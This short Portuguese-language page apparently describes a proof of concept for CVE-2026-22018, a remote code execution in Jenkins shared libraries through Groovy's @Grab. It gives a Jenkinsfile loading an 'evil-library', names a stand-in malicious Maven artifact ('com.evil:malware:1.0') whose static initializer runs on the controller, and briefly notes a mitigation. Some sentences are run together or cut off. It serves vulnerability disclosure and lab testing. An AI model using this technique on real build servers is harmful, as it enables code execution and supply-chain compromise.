
PoC para CVE-2026-22018, um RCE crítico na Jenkins Pipeline Shared Library via Groovy @Grab, demonstrando injeção de código na cadeia de suprimentos e etapas de mitigação.
@Grab// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
Um pipeline Jenkins carrega uma shared library de uma fonte não totalmente confiável. A shared library usa a anotação @Grab para baixar artefatos Maven externos, que podem incluir uma classe maliciosa que executa código no controlador Jenkins durante a compilação do Groovy.
@Grab do Groovy busca e carrega JARs arbitrários em tempo de execução; shared libraries não são isoladas em sandbox.Configure um pipeline com uma shared library não confiável que contenha @Grab('com.evil:malware:1.0') em seu vars/evilStep.groovy. Quando o pipeline é executado, o inicializador estático do JAR malicioso é executado.
@Grab por meio das configurações de segurança do sandbox Groovy.git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.